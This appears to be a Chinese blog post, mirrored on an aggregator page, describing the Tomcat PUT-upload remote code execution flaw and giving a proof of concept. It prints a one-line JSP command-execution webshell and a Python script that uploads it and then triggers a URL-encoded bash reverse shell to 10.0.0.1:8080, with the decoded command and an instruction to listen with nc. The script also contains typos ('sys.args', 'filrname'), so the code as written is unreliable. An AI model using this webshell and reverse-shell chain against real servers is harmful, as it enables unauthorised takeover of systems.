zoukankan      html  css  js  c++  java
  • Tomcat远程任意代码执行漏洞及其POC

    一、原理分析:

    只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false,则Tomcat可以不经任何身份验证的控制直接接收PUT方式上传的文件,无论上传者是任何人,也无论上传的是任何文件。此时可以上传jsp文件,直接执行jsp代码。

    二、实例分析:

    我们上传1.txt,直接返回了201成功

    不幸的是找到的这个环境对jsp上传是失败的,所以在一定程度上防止了getshell的。

    如果能够上传jsp,只需传一个木马上去,执行反弹shell的命令,就可以搞定了。

    <%Runtime.getRuntime().exec(request.getParameter("i"));%>

    然后我们可以写一个脚本来搞定

    三、验证POC:

    poc的流程其实很简单,requests库发起put请求,上传payload如上,然后直接访问对应的url反弹shell就行。

    只写出关键代码

    复制代码
    import sys
    import uuid
    import requests
    targetip = sys.args[1]
    targetport = sys.args[2]
    filename = uuid.uuid1()
    targeturl = "https://%s:%s/%s.jsp"%(targetip,targetport,filrname)
    response = requests.put(targeturl,data='<%Runtime.getRuntime().exec(request.getParameter("i"));%>')
    if response.status_code == 201:
         print "YES"
         requests.get(targeturl+"?i=%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%30%2e%31%2f%38%30%38%30%20%30%3e%26%31%0a")
    复制代码

    参数i的部分URL编码后的:

    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

    只需要自己用nc监听者端口就可以了。

    博主简介:博主国内安全行业目前最强大的网络安全公司做技术研究员,常年做技术工作。 获得过以下全国竞赛大奖: 《中国电子作品大赛一等奖》 《云计算技术大赛一等奖》 《AIIA人工智能大赛优胜奖》《网络安全知识竞赛一等奖》 《高新技术个人突出贡献奖》,并参与《虚拟化技术-**保密**》一书编写,现已出版。还拥有多项专利,多项软件著作权! 且学习状态上进,立志做技术牛逼的人。座右铭:在路上,永远年轻,永远热泪盈眶。可邮件联系博主共同进步,个人邮箱:pigeon_code@163.com
  • 相关阅读:
    C#
    C#
    ssh学习笔记
    (已解决)Could not open '/var/lib/nova/mnt/*/volume-*': Permission denied
    RPCVersionCapError: Requested message version, 4.17 is incompatible. It needs to be equal in major version and less than or equal in minor version as the specified version cap 4.11.
    如何在linux下安装idea
    The system has no LUN copy license
    调整mysql数据库最大连接数
    mysql数据库编码问题
    cinder支持nfs快照
  • 原文地址:https://www.cnblogs.com/mutudou/p/14652889.html
Copyright © 2011-2022 走看看